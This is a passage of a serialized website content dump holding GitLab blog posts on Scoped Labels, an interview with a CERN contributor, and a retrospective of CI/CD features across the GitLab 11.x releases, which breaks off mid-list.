}",{"title":28974,"description":28975,"authors":28980,"heroImage":28976,"date":28962,"body":28981,"category":8943,"tags":28982},[20767],"\n\nGreat news, everyone!\n[Hailed as one of the best inventions since sliced bread](https://gitlab.com/gitlab-com/marketing/corporate-marketing/issues/682),\n[Scoped Labels](/releases/2019/04/22/gitlab-11-10-released/#scoped-labels) can make your\ncustom workflows even cooler. We’re excited to share how using this small feature can\naccelerate delivery.\n\nPlease note that this is a paid feature available to Premium and Ultimate for [self-managed](/pricing/#self-managed) GitLab\nor Silver and Gold tiers for [GitLab.com](/pricing/).\n{: .alert .alert-info.text-center}\n\n## What are GitLab Scoped Labels?\n\nIt all started with\n[an issue detailing a feature with a simple idea](https://gitlab.com/gitlab-org/gitlab-ee/issues/9175):\nHelp teams that use issue boards for workflow. With Scoped Labels, teams can apply\nmutually exclusive labels (that share the same scope) to an issue, merge request,\nor epic, solving custom fields and custom workflow states use cases. Scoped Labels\nmake it possible for teams to define a basic custom field that avoids confusion and\ncleans up issue lists (i.e. fewer duplicate labels).\n\n![Scoped labels](https://about.gitlab.com/images/blogimages/scoped-labels.png){: .shadow.center.medium}\n\nBy using Scoped Labels, teams can create custom labels and apply them to a\ngiven issue, automatically removing any other existing, related labels. For example,\nif you have the labels `workflow::development`, `workflow::review`, and `workflow::deployed`,\nrepresenting the workflow states of your team, you can advance the issue\n(e.g., `workflow::development` to `workflow::review`) by applying the next label\nwithout having to remove the original one.\n\nYou may already be familiar with this behavior, since it’s similar to moving\nissues across label lists in an issue board. Now, team members who don’t directly work\nin an issue board or who want to advance workflow states consistently in\nissues themselves can do so using Scoped Labels.\n\n## How Scoped Labels accelerate delivery\n\nYou might be thinking that Scoped Labels is too small of a feature to make a splash,\nbut hear me out, it can help reduce cycle time. Here's how:\n\n1. If you want a custom field on your issues, like a drop-down with a few items\nyou can select (e.g., colors or stages), Scoped Labels prevent conflicts where\nnormally only one color or one stage is possible. By removing conflicts, multiple\nteams can scope an issue, merge request, or epic.\n1. You can define the workflow steps for an issue (e.g., proposal, design,\ndevelopment, QA, acceptance, deploy), creating the basis for how you can eventually\nmeasure the flow of work though the system (based on how long issues have specific labels).\n\nThese two use cases illustrate how Scoped Labels can help teams work concurrently\non features and measure their efforts.\n\n## Scoped Labels: A feature film\n\nWant to see Scoped Labels in action? Get your popcorn ready and enjoy the show! 🍿\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4BCBby6du3c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCheck out the [documentation on Scoped Labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) for more.\n\nCover image by [ Jo Szczepanska](https://unsplash.com/@joszczepanska?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/9OKGEVJiTKk)\n{: .note}\n",[754,1444,1899],{"slug":28984,"featured":6,"template":678},"issue-labels-can-now-be-scoped","content:en-us:blog:issue-labels-can-now-be-scoped.yml","Issue Labels Can Now Be Scoped","en-us/blog/issue-labels-can-now-be-scoped.yml","en-us/blog/issue-labels-can-now-be-scoped",{"_path":28990,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28991,"content":28996,"config":29001,"_id":29003,"_type":16,"title":29004,"_source":17,"_file":29005,"_stem":29006,"_extension":20},"/en-us/blog/cern-contributor-post",{"title":28992,"description":28993,"ogTitle":28992,"ogDescription":28993,"noIndex":6,"ogImage":26117,"ogUrl":28994,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28994,"schema":28995},"GitLab Code Contributor: Daniel Juarez","Daniel Juarez shares his experience contributing to GitLab from CERN.","https://about.gitlab.com/blog/cern-contributor-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Daniel Juarez\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-06-19\",\n      }",{"title":28992,"description":28993,"authors":28997,"heroImage":26117,"date":28998,"body":28999,"category":813,"tags":29000},[21623],"2019-06-19","\n\nFor this edition of the [GitLab contributor blog posts](/blog/tags.html#contributors), I'm excited to introduce [Daniel Juarez](https://gitlab.com/danieljg) from [CERN](https://home.cern/).\n\n### Can you tell us about you do at CERN and what Geneva is like?\n\nI started working at CERN in September 2017 as an associate for the Version Control Systems team. I came to CERN from the [University of Oviedo](http://www.uniovi.es/en) in Spain, as the university has an arrangement with CERN to give its students an opportunity to work here. One of my main responsibilities is to improve, maintain, and support the GitLab setup at CERN, as well as the continuous integration (CI) infrastructure.\n\n[Geneva](https://www.google.com/maps/place/Geneva,+Switzerland/@46.2050241,6.1089833,13z) feels like an extension of CERN, as you can meet people from all over the world with so many international organizations in the city. It may not be the best place in the winter if you are not into skiing, but the city has a wonderful lake and is full of life in the summer.\n\n![Daniel Juarez](https://about.gitlab.com/images/blogimages/Daniel_Juarez.jpeg){: .shadow.small.right.wrap-text}\n\n### How long have you used GitLab and why did you decide to make contributions?\n\nI first used GitLab when I joined CERN. Contributing to GitLab is part of my job, and [my first merge request (MR)](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/965) was on [the Runner project](https://gitlab.com/gitlab-org/gitlab-runner).\n\nIn addition to MRs, I create issues and work with the GitLab team to find solutions. A good example is the [storage performance issue](https://gitlab.com/gitlab-org/gitlab-ee/issues/11556) that we ran into recently.\n\n### Do you plan/coordinate contributions to GitLab at CERN or is contribution done on an individual basis? Any advice for GitLab customers who want to make contributions?\n\nWe keep track of our current GitLab issues and improvement areas in our internal Jira instance, and from there we organize who will submit an MR or open an issue with GitLab. We have a few other GitLab contributors at CERN, like [Alex Lossent](https://gitlab.com/alexcern) and [Borja Aparicio](https://gitlab.com/baparici).\n\nIn terms of advice for others, I encourage people to ping GitLab team members, such as product managers or maintainers, if you feel like your MRs or issues are not being picked up in a timely manner. You can find GitLab team members either on the [team page](/company/team/) or the [product categories page](/handbook/product/categories/). It's also helpful to note how many users are being impacted by your issue. Even though only one person from your organization may be commenting on an issue or MR, it could actually have an impact on thousands of people.\n\n### What has been your experience when contributing to GitLab?\n\nGitLab team members are always eager to help. They show interest in community issues and MRs, which is highly appreciated. Engagement from the GitLab team has helped us improve the service we provide to ~16,000 GitLab users at CERN.\n\nHowever, we are concerned about the large number of open issues at GitLab. Even if issues have the `customer` label, we are concerned that sometimes they could be forgotten.\n\n### Are there any community contributions (MRs) to GitLab that you thought were particularly interesting/useful?\n\nFrom CERN, we were definitely happy to have [SAML support](/releases/2015/06/22/gitlab-7-12-released/) a few years ago. We also found [Shared CI Runners for groups](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/9646) to be helpful, because some of our users were required to have the same runner registered against multiple projects instead of having it per group. This clearly improved the service for many of our users that rely on private runners and cannot use our shared infrastructure.\n\n### What do you like to do when you're not working?\n\nI love playing video games no matter the genre. Recently, I started watching bad movies and learning to cook new dishes (usually at the same time). I find that cooking helps me digest the bad movies!\n\n### Anything else you want to share with the community?\n\nDo not be afraid to submit MRs! It might look difficult in the beginning, but GitLab team members will do their best to help your changes \"go upstream\" to GitLab. I learned that wider community members are also willing to help.\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":29002,"featured":6,"template":678},"cern-contributor-post","content:en-us:blog:cern-contributor-post.yml","Cern Contributor Post","en-us/blog/cern-contributor-post.yml","en-us/blog/cern-contributor-post",{"_path":29008,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29009,"content":29015,"config":29019,"_id":29021,"_type":16,"title":29022,"_source":17,"_file":29023,"_stem":29024,"_extension":20},"/en-us/blog/look-back-on-11-11-cicd",{"title":29010,"description":29011,"ogTitle":29010,"ogDescription":29011,"noIndex":6,"ogImage":29012,"ogUrl":29013,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29013,"schema":29014},"Looking back on the 11.x releases for GitLab CI/CD","With GitLab 12.0 coming soon, it's a great time to reflect on all the features we've launched since 11.0.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666857/Blog/Hero%20Images/photo-cicdlookback.jpg","https://about.gitlab.com/blog/look-back-on-11-11-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Looking back on the 11.x releases for GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-06-19\",\n      }",{"title":29010,"description":29011,"authors":29016,"heroImage":29012,"date":28998,"body":29017,"category":734,"tags":29018},[22054],"\nGitLab releases each month, so if you aren't paying close attention it can be easy to\nlose track of all the great features that are coming out. With an eye towards [CI/CD](/solutions/continuous-integration/)\nin particular, I'd like to take you through some of the highlights in each of our 11.x releases,\neach of which contributed to our strategy around cloud native CI/CD that has\nsecurity and smarts built right in, supports code reusability and live troubleshooting,\nand in general enables your team to make progress towards your goal of better, more\nreliable software delivery.\n\n![Release Badges](https://about.gitlab.com/images/blogimages/11x_release_logos.png){: .shadow.medium.center}\n\nFor those who don't know me, I'm the director of product for CI/CD and I've spent\nmy career (going all the way back to doing build automation of Windows 98 at my\nfirst corporate job) out of doing build and release automation and process. I love\nthis stuff, and my career move from building CI/CD implementations to building\nCI/CD tools for folks just like me has been one of the most rewarding things I've\ndone in my life. I hope that experience and passion comes through in the features\nwe've delivered – either way, I'd love to chat with you if you're a user of GitLab\nCI/CD. DM me on [Twitter](https://twitter.com/j4yav) or contact me via my [GitLab profile](https://gitlab.com/jyavorska) if you'd like to chat.\n\nAnyway, without further ado let's dive into the first 11.x release!\n\n## [GitLab 11.0](/releases/2018/06/22/gitlab-11-0-released/)\n\n### Auto DevOps Generally Available\n\nWe kicked off the 11.0 series in June 2018 by launching [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/).\nBeyond making it easy to host and collaborate on public and private repositories,\nGitLab also simplifies the rest of the process by offering the whole delivery toolchain,\nbuilt in and automated: Simply commit your code and Auto DevOps can do the rest.\nAuto DevOps is a pre-built, fully featured CI/CD pipeline that takes the best of\nGitLab CI/CD features, adds a lot of smarts around auto-detecting what's in your\nproject, and automates the entire delivery process to your Kubernetes cluster.\n\nCheck out our [quick-start guide](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html)\nif you haven't had a chance to play with it yet – you might be surprised what it's\ncapable of out of the box.\n\n![Auto DevOps](https://about.gitlab.com/images/11_0/auto-devops.png){: .shadow.medium.center}\n\n### Job logs in the Web IDE\n\nTying operational deployments/execution together with development is also a priority\nfor GitLab. In 11.0 we made the CI status of the current commit available in the status\nbar of the Web IDE, and made it possible to view the [status and the logs for each job on the right](https://docs.gitlab.com/ee/user/project/web_ide/#view-ci-job-logs).\nThis made it easy to fix a merge request with CI failures by opening the failed job\nright alongside your code.\n\n![Web IDE trace](https://about.gitlab.com/images/11_0/web_ide_ci_trace.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [CI/CD pipeline jobs integrated with the Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/#view-ci-job-logs)\n- [Variable-defined deployment policies for Canary deployments](https://docs.gitlab.com/ee/topics/autodevops/#deploy-policy-for-canary-environments)\n- [Specify deployment strategy from Auto DevOps settings](https://docs.gitlab.com/ee/topics/autodevops/#auto-deploy)\n\n---\n\n## [GitLab 11.1](/releases/2018/07/22/gitlab-11-1-released/)\n\n### Security reports in pipeline view\n\nSecurity was another important area of focus for us throughout the 11.x series. We\nalready had security reports in the MR before this release, but here we also\nadded status for branches so this information can be acted upon even earlier.\nGitLab 11.1 (July 2018) completed the [set of security reports shown in the pipeline view](https://docs.gitlab.com/ee/user/project/merge_requests/#security-reports),\nadding both Container Scanning and DAST. From there you could now simply review\nthe Reports tab to access all security information and take action.\n\n![Security Reports](https://about.gitlab.com/images/11_1/security_reports.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Redesign of the merge request and pipeline info sections](https://docs.gitlab.com/ee/user/project/merge_requests/)\n- [Improved Kubernetes cluster page design](https://docs.gitlab.com/ee/user/project/clusters/)\n\n---\n\n## [GitLab 11.2](/releases/2018/08/22/gitlab-11-2-released/)\n\n### Custom templates at the instance level\n\nIn 11.2 (August 2018) we also introduced [custom templates at the instance level](https://docs.gitlab.com/ee/administration/custom_project_templates.html),\nmaking it easy for organizations to set up a basic template for how they want\ntheir CI/CD pipelines to run. Development teams can grab a copy of the template\nand go, confident their following their organizational processes. Our enterprise\ncustomers are very important to us, and this feature came directly from the great\nfeedback we get from our customers.\n\n![Project Templates](https://about.gitlab.com/images/11_2/project-templates-instance.png){: .shadow.medium.center}\n\n### Kaniko for Docker Builds\n\nHistorically, building Docker images within a containerized environment had\nrequired compromises, using techniques like docker-in-docker on privileged\ncontainers. These solutions were often insecure and slow. In this release we\nmade the Runner compatible with [Kaniko](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html),\na new tool developed by Google which is able to securely build an image within\nan unprivileged container. Cloud-first build technology is so important for the\njourney we want to take with our users, and supporting these kinds of foundational\ntechnologies that make your life easier are so nice to deliver.\n\n![Kaniko](https://about.gitlab.com/images/11_2/kaniko.png){: .shadow.medium.center}\n\n### JUnit test results in merge requests\n\nFinally, testing will always be an important part of any CI/CD pipeline. With the 11.2 release,\nwe made it possible to [see JUnit test results directly](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html)\nright from the CI view in the merge request widget, as part of our ongoing efforts\nto invest in full-spectrum integrated testing within GitLab.\n\n![JUnit Results](https://about.gitlab.com/images/feature_page/screenshots/junit-test-summaries-MR-widget.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [GitLab Runner in cloud native Helm Chart](https://docs.gitlab.com/charts/)\n- [Built-in project templates switched to use Dockerfiles](https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project)\n- [Manually stop an environment](https://docs.gitlab.com/ee/ci/environments/index.html#stopping-an-environment)\n\n---\n\n## [GitLab 11.3](/releases/2018/09/22/gitlab-11-3-released/)\n\n### Built-in Maven package repository\n\nFor any development organization, having an easy and secure way to manage\ndependencies is critical. Package management tools, such as Maven for Java\ndevelopers, provide a standardized way to share and version control these\nlibraries across projects. In GitLab 11.3 (September 2018), we opened up [Maven repositories built directly into GitLab](https://docs.gitlab.com/ee/user/packages/maven_repository/index.html).\nJava developers were now easily able to publish their packaged libraries to\ntheir project’s Maven repository: Just share a simple XML snippet with\nother teams looking to utilize that library, and Maven and GitLab will take care\nof the rest.\n\n![Maven Repo](https://about.gitlab.com/images/11_3/maven.png){: .shadow.medium.center}\n\n### Interactive Web Terminals\n\nCI/CD jobs are executed in the runner as part of pipelines, but this execution wasn't interactive.\nWhen they failed, it wasn't always easy to dig into details to spot the source of the problem.\n[Interactive web terminals](https://docs.gitlab.com/ee/ci/interactive_web_terminal/)\nbrought the capability to connect to a running or completed job and manually enter\ncommands to understand what’s happening in the system, and helped us move the story\nforward on empowering teams to deliver code, troubleshoot, and solve issues directly.\n\n![Web Terminal](https://about.gitlab.com/images/11_3/verify-webterm.png){: .shadow.medium.center}\n\n### Better includes with `extends` keyword\n\nReusing CI/CD code is a great way to help ensure consistency in software delivery,\nand also minimizes the amount of per-job scripting that’s needed to write and\nmaintain. As of 11.11, we began offering a powerful alternative approach\nfor code reuse in templates using [YAML `extends` keywords](https://docs.gitlab.com/ee/ci/yaml/#extends),\nexpanding upon our vision for reusability and compliance in the enterprise.\n\n![Extends](https://about.gitlab.com/images/11_3/verify-includes.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html)\n- [Auto DevOps enabled by default](https://docs.gitlab.com/ee/topics/autodevops/)\n- [Custom file templates for self-managed instances](https://docs.gitlab.com/ee/administration/settings/instance_template_repository.html)\n\n---\n\n## [GitLab 11.4](/releases/2018/10/22/gitlab-11-4-released/)\n\n### Feature Flags\n\nFeature Flags are a no-brainer to make software deliver easier, so you knew we'd eventually\nwant to include them in the GitLab single application. With the 11.4 release (October 2018) we delivered on\nthis promise by adding [Feature Flags](https://docs.gitlab.com/ee/operations/feature_flags.html),\nhelping teams to achieve continuous delivery by offering better options for incrementally\nrolling out changes and separating feature delivery from customer launch.\n\n![Feature Flags](https://about.gitlab.com/images/11_4/feature_flags.png){: .shadow.medium.center}\n\n### `only/except` rules for changes to files\n\nA very popular requested feature, in 11.4 we added the ability within the\n`.gitlab-ci.yml` to [use `only`/`except` rules for jobs](https://docs.gitlab.com/ee/ci/yaml/#only--except)\nbased on when modifications occur to a specific file or path (or glob). This allowed\nfor even more smarts in the pipeline, especially for monorepo/microservice-type\nuse cases, where the pipeline behavior can be optimized based on the changed files\nin the repository.\n\n![Only Except Changes](https://about.gitlab.com/images/11_4/verify-onlyexceptchanges.png){: .shadow.medium.center}\n\n### Timed incremental rollouts\n\nTeams already had the ability within Auto DevOps to set up incremental rollouts,\nbut with this release we added an option to also set up [timed incremental rollouts](https://docs.gitlab.com/ee/topics/autodevops/#timed-incremental-rollout-to-production)\nwhere the rollout will automatically continue forward on a timed cadence, making\nsure there is no error before continuing. This helped us push our vision for safe,\ncontinous deployment forward by providing teams with a new tool to have control over\ntheir code rollouts.\n\n![Timed Incremental Rollouts](https://about.gitlab.com/images/11_4/timed_incremental_rollouts.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Moving `includes` from Starter to Core](https://docs.gitlab.com/ee/ci/yaml/#include)\n- [Auto DevOps support for RBAC](https://docs.gitlab.com/ee/topics/autodevops/)\n- [Filter admin runners view by type/state](https://docs.gitlab.com/ee/ci/runners/)\n- [Support for interactive web terminals with Docker executor](https://docs.gitlab.com/ee/ci/interactive_web_terminal/)\n- [Delayed jobs for pipelines](https://docs.gitlab.com/ee/ci/yaml/#whendelayed)\n\n---\n\n## [GitLab 11.5](/releases/2018/11/22/gitlab-11-5-released/)\n\n### Access control for Pages\n\nWith the 11.5 release (November 2018) we delivered a fantastic community-contributed feature which enabled\naccess control for Pages. From now on, instead of only supporting use cases where the\ncontent associated with the product is public, you could use Pages to build and\npublish protected content that should [only be accessible by project members](https://docs.gitlab.com/ee/user/project/pages/introduction.html#gitlab-pages-access-control).\nOperational documentation, internal secrets, or even just private planning or\nother information can now be confidently published via your pipelines in an\neasy-to-access way, with confidence that only the right people are able to see it.\n\n![Access Control Pages](https://about.gitlab.com/images/11_5/access-control-pages.png){: .shadow.medium.center}\n\n### Deploy Knative to your Kubernetes cluster\n\nBuilding [serverless applications](/topics/serverless/) enables teams to focus their time on making a\ngreat product and eliminates the need of provisioning, managing, and operating\nservers. Starting in GitLab 11.5, we enabled [deploying Knative to your existing Kubernetes cluster](https://docs.gitlab.com/ee/update/removals.html)\nwith a single click using the GitLab Kubernetes integration. Knative is a\nKubernetes-based platform to build, deploy, and manage modern serverless workloads.\nTasks that were once difficult, such as source-to-container builds, routing and\nmanaging traffic, and scaling-to-zero, now work effortlessly out of the box.\n\n![KNative](https://about.gitlab.com/images/11_5/knative.png){: .shadow.medium.center}\n\n### Parallel attribute for faster pipelines\n\nThe speed to delivery in a CI/CD environment can oftentimes be limited by the time it takes to complete the various tests in order to ensure the code is able to be shipped. With the `parallel` keyword in GitLab CI/CD, teams can quickly and easily parallelize these tests – accelerating the testing process and overall time to delivery.\n\n![Parallel](https://about.gitlab.com/images/11_5/parallel-keyword.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Review Apps can now link directly to changed pages](https://docs.gitlab.com/ee/ci/environments/index.html#going-from-source-files-to-public-pages)\n- [New CI/CD syntax for security, quality, and performance report types](https://docs.gitlab.com/ee/ci/yaml/#artifactsreports)\n- [Additional information about deployments in merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html#pipeline-status-in-merge-requests)\n\n---\n\n## [GitLab 11.6](/releases/2018/12/22/gitlab-11-6-released/)\n\n### GitLab Serverless\n\nBuilding on the Knative integration introduced in the previous month, 11.6's new, more\ncomprehensive [Serverless](https://docs.gitlab.com/ee/update/removals.html)\ncapability enabled users to easily define functions in their repository and have\nthem served and managed by Knative. Cloud native is such an important part of our\nroadmap, and it was really exciting to launch this feature while I was at KubeCon\nno less.\n\nBy simply defining your function data in the repo’s `serverless.yml` file and\nusing a `.gitlab-ci.yml` template, each function will be deployed to your cluster,\nwith Knative taking care of scaling your function based on request volume. This\nenables application developers to iterate quickly without having to worry about\nprovisioning or managing infrastructure.\n\n![Serverless](https://about.gitlab.com/images/11_6/serverless.png){: .shadow.medium.center}\n\n### Run pipeline jobs for merge requests\n\nRunning a given job only when dealing with a merge request was made much easier in 11.6. Using the\n`merge_requests` value with `only/except` keywords will allow you to configure jobs\nto run [only or except when in the context of a merge request](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html).\nThis allows finer control over pipeline behavior, and also provides access to new\nenvironment variables indicating the target branch and merge request ID to be used\nfor additional automated behaviors.\n\n![Merge Request Pipelines](https://about.gitlab.com/images/11_6/verify-mergerequestpipelines.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Kubernetes clusters for groups](https://docs.gitlab.com/ee/user/group/clusters/)\n- [Pipelines are now deletable via API](https://docs.gitlab.com/ee/api/pipelines.html#delete-a-pipeline)\n- [Trigger variables are now hidden in UI by default](https://docs.gitlab.com/ee/ci/triggers/)\n\n---\n\n## [GitLab 11.7](/releases/2019/01/22/gitlab-11-7-released/)\n\n### Releases page\n\nThe 11.7 release (January 2019) added the ability to [create releases in GitLab](https://docs.gitlab.com/ee/user/project/releases/index.html)\nand view them on a summary page. Releases are a snapshot in time of the source,\nlinks, and other metadata or artifacts associated with a released version of your\ncode, and helps users of your project to easily discover the latest releases\nof your software.\n\nThis is a feature that was, as a career release manager, near and dear to my heart.\nI have so many plans around [Release Orchestration](/direction/release/release_orchestration/)\nthat build on this feature as a foundation. Being able to tie a milestone to\na release, a feature coming very soon, will open the door to tying together all\nkinds of interesting things happening in GitLab to a release. This isn't my forward-looking\nblog post so I won't go too far here, but I'll just say I can't wait to\ngo on that journey to build something really unique and powerful together with our users.\n\n![Releases Page](https://about.gitlab.com/images/11_7/release-releases_page.png){: .shadow.medium.center}\n\n### Expand upstream/downstream pipelines across projects\n\nWith 11.7 it became possible to [expand upstream or downstream cross-project pipelines](https://docs.gitlab.com/ee/ci/pipelines/index.html#visualize-pipelines)\nright from the pipeline view, giving you visibility into your end-to-end pipelines,\nno matter in which project they start or finish. It's one pattern we've been seeing\nmore and more of in GitLab, and we're adding more features to support. The reality of\ncontinuous delivery is complex orchestration across projects and even groups, so\nthis is a feature that was nice to get out the door to help make this easier.\n\n![Cross-Project Pipelines](https://about.gitlab.com/images/11_7/release-pipeline_expansion.png){: .shadow.medium.center}\n\n### NPM package repository\n\nIn January we also started offering [NPM registries](https://docs.gitlab.com/ee/user/packages/npm_registry/index.html)\nbuilt directly into GitLab. From this point teams can share a simple package-naming\nconvention to utilize that library in any Node.js project, and NPM and GitLab will\ndo the rest – all from a single, easy-to-use interface. Yet another step on our path\nto enable all kinds of repositories, built right into GitLab when you need them.\n\n![NPM Packages](https://about.gitlab.com/images/11_7/npm_package_view.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Ability to configure Kubernetes app secrets as variables in Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#application-secret-variables)\n- [API support for Kubernetes integration](https://docs.gitlab.com/ee/api/project_clusters.html)\n- [Short commit SHA available as environment variable](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html)\n- [Authorization support for fetching includes](https://docs.gitlab.com/ee/ci/yaml/#include)\n- [Skip CI builds during git push with `skip_ci` keyword](https://docs.gitlab.com/ee/ci/pipelines/#skip-a-pipeline)\n\n---\n\n## [GitLab 11.8](/releases/2019/02/22/gitlab-11-8-released/)\n\n### `trigger:` keyword for pipelines\n\nEven as of GitLab 9.3 you were able to create multi-project pipelines by triggering\na downstream pipeline via a GitLab API call in your job. In GitLab 11.8 (February 2019), we added\nfirst-class support for triggering these downstream pipelines with the [`trigger:`](https://docs.gitlab.com/ee/ci/yaml/#trigger)\nkeyword, instead of requiring teams to make an API call to trigger the downstream\npipeline. A bit more for those cross-project use cases that makes everything just\na little bit nicer to use.\n\n![Trigger](https://about.gitlab.com/images/11_8/multi_project_pipeline_graph.png){: .shadow.medium.center}\n\n### Pages support for subgroups\n\nPages was updated in 11.8 to [work with subgroups in GitLab](https://docs.gitlab.com/ee/administration/pages/),\ngiving you the ability to create Pages sites at that level as well. Sites set up in this\nway will have a URL in the format of `toplevel-group.gitlab.io/subgroup/project`,\nmaking them very easy to find.\n\n![Pages for SubGroups](https://about.gitlab.com/images/11_8/release-pages-subgroups.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Several new templates for getting started quickly with GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/#getting-started)\n- [Auto DevOps support for environment-specific custom domain](https://docs.gitlab.com/ee/topics/autodevops/#environment-variables)\n- [Feature Flags was improved by making them environment-aware](https://docs.gitlab.com/ee/operations/feature_flags.html#define-environment-specs)\n- [CI_PAGES and CI_PAGES_URL added as helpful variables accessible to Pages pipelines](https://docs.gitlab.com/ee/user/project/pages/)\n- [.html extensions are now automatically resolved for Pages sites](https://docs.gitlab.com/ee/user/project/pages/)\n- [Tolerations were added to the Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html#the-keywords)\n- [A new cleanup procedure for the Container Registry](https://docs.gitlab.com/ee/api/container_registry.html#delete-a-repository-tag)\n- [Force redeploy when Auto DevOps secrets are updated](https://docs.gitlab.com/ee/topics/autodevops/#environment-variables)\n\n---\n\n## [GitLab 11.9](/releases/2019/03/22/gitlab-11-9-released/)\n\n### Feature Flag auditability\n\nWith the 11.9 release (March 2019), operations like adding, removing, or changing Feature Flags\nare now [recorded in the GitLab audit log](https://docs.gitlab.com/ee/administration/audit_events.html),\ngiving you visibility into what is changing and when. If you’re having an incident\nand need to see what changed recently, or just need to look back as an auditor on\nhow your feature flags have been modified, this is now very easy to do. We have\nbig plans for Feature Flags, and also compliance built right into your pipelines.\nIt was great to knock out a two-for-one with this one.\n\n![Feature Flag audit events](https://about.gitlab.com/images/11_9/release-ffaudit.png){: .shadow.medium.center}\n\n### Security templates for pipelines\n\nGitLab security features evolve very fast, and they always need to be up to\ndate to be effective and protect your code. We know that changing the job\ndefinition is difficult if you have to manage multiple projects. As of this release we\ninclude bundled security templates [directly into your configuration](https://docs.gitlab.com/ee/user/application_security/sast/#configuring-sast),\nand have them updated with your system every time you upgrade to a new version of\nGitLab, without any change to any pipeline configuration required. Security plus\nreusability, a great combination.\n\n![Security Templates](https://about.gitlab.com/images/11_9/templates.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Project templates for .NET, Go, iOS, and Pages](https://docs.gitlab.com/ee/user/project/working_with_projects.html#built-in-templates)\n- [Run specific jobs on merge requests only when files change](https://docs.gitlab.com/ee/ci/jobs/job_control.html#use-onlychanges-with-merge-request-pipelines)\n- [Auto DevOps build jobs for tags](https://docs.gitlab.com/ee/topics/autodevops/#auto-build)\n\n---\n\n## [GitLab 11.10](/releases/2019/04/22/gitlab-11-10-released/)\n\n### Pipeline dashboard\n\nIn 11.10 (April 2019) we added [pipeline status information to the Operations Dashboard](https://docs.gitlab.com/ee/user/operations_dashboard/).\nThis helps teams view the pipeline health of all the projects that they care about,\nall together in a single interface. Yet another step towards making pipelines across\nyour instance easy to understand and follow, this one was built in real-time coordination\nwith a customer, which is always a nice way to get something done. You get to build\nsomething that solves a real problem and collaborate directly with the folks who\nneed it.\n\n![Pipeline Dashboard](https://about.gitlab.com/images/11_10/cross-project-pipelines-dashboard.gif){: .shadow.medium.center}\n\n### Pipelines on merge results\n\nWhen working in a feature branch, it’s normal to have it diverge over\ntime from the target branch if you aren’t rebasing frequently. This can result\nin a situation where both the source and target branch’s pipelines are green and\nthere are no merge conflicts, but the combined output will result in a failed\npipeline due to an incompatibility between the changes.\n\nWith 11.10 it became possible for a pipeline to automatically create a new ref that\ncontains the combined merge result of the source and target branch, then\n[run the pipeline against that ref](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html)\n(what we call an `attached` state). In this way, GitLab can help teams keep their\nmaster branch green even when they have many teams merging into the release branch.\n\nTools and techniques built right into GitLab for keeping master green was a big\nfocus in the last few releases of 11.x, and will remain so for 12.x as well. Look\nfor [merge trains](https://gitlab.com/gitlab-org/gitlab-ee/issues/9186) to be built\non top of this foundation, and some really cool enhancements around sequencing and\nparallelization of them.\n\n![Merge Ref Pipeline](https://about.gitlab.com/images/11_10/merge_request_pipeline.png){: .shadow.medium.center}\n\n### Composable Auto DevOps\n\nAuto DevOps enables teams to adopt modern DevOps practices with little to no effort.\nStarting in GitLab 11.10 each job of Auto DevOps was made available as an\nindependent template. Using the includes feature of GitLab CI, users can [choose to bring in\nonly certain stages of Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#using-components-of-auto-devops) while continuing to use their own custom\n`gitlab-ci.yml` for the rest. This helps teams to use just the desired jobs, while\ntaking advantage of any updates made upstream.\n\n![Composable Auto DevOps](https://about.gitlab.com/images/11_10/composable-auto-devops.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [More thorough Container Registry cleanup](https://docs.gitlab.com/omnibus/maintenance/#removing-unused-layers-not-referenced-by-manifests)\n- [Ability to purchase CI add-on runner 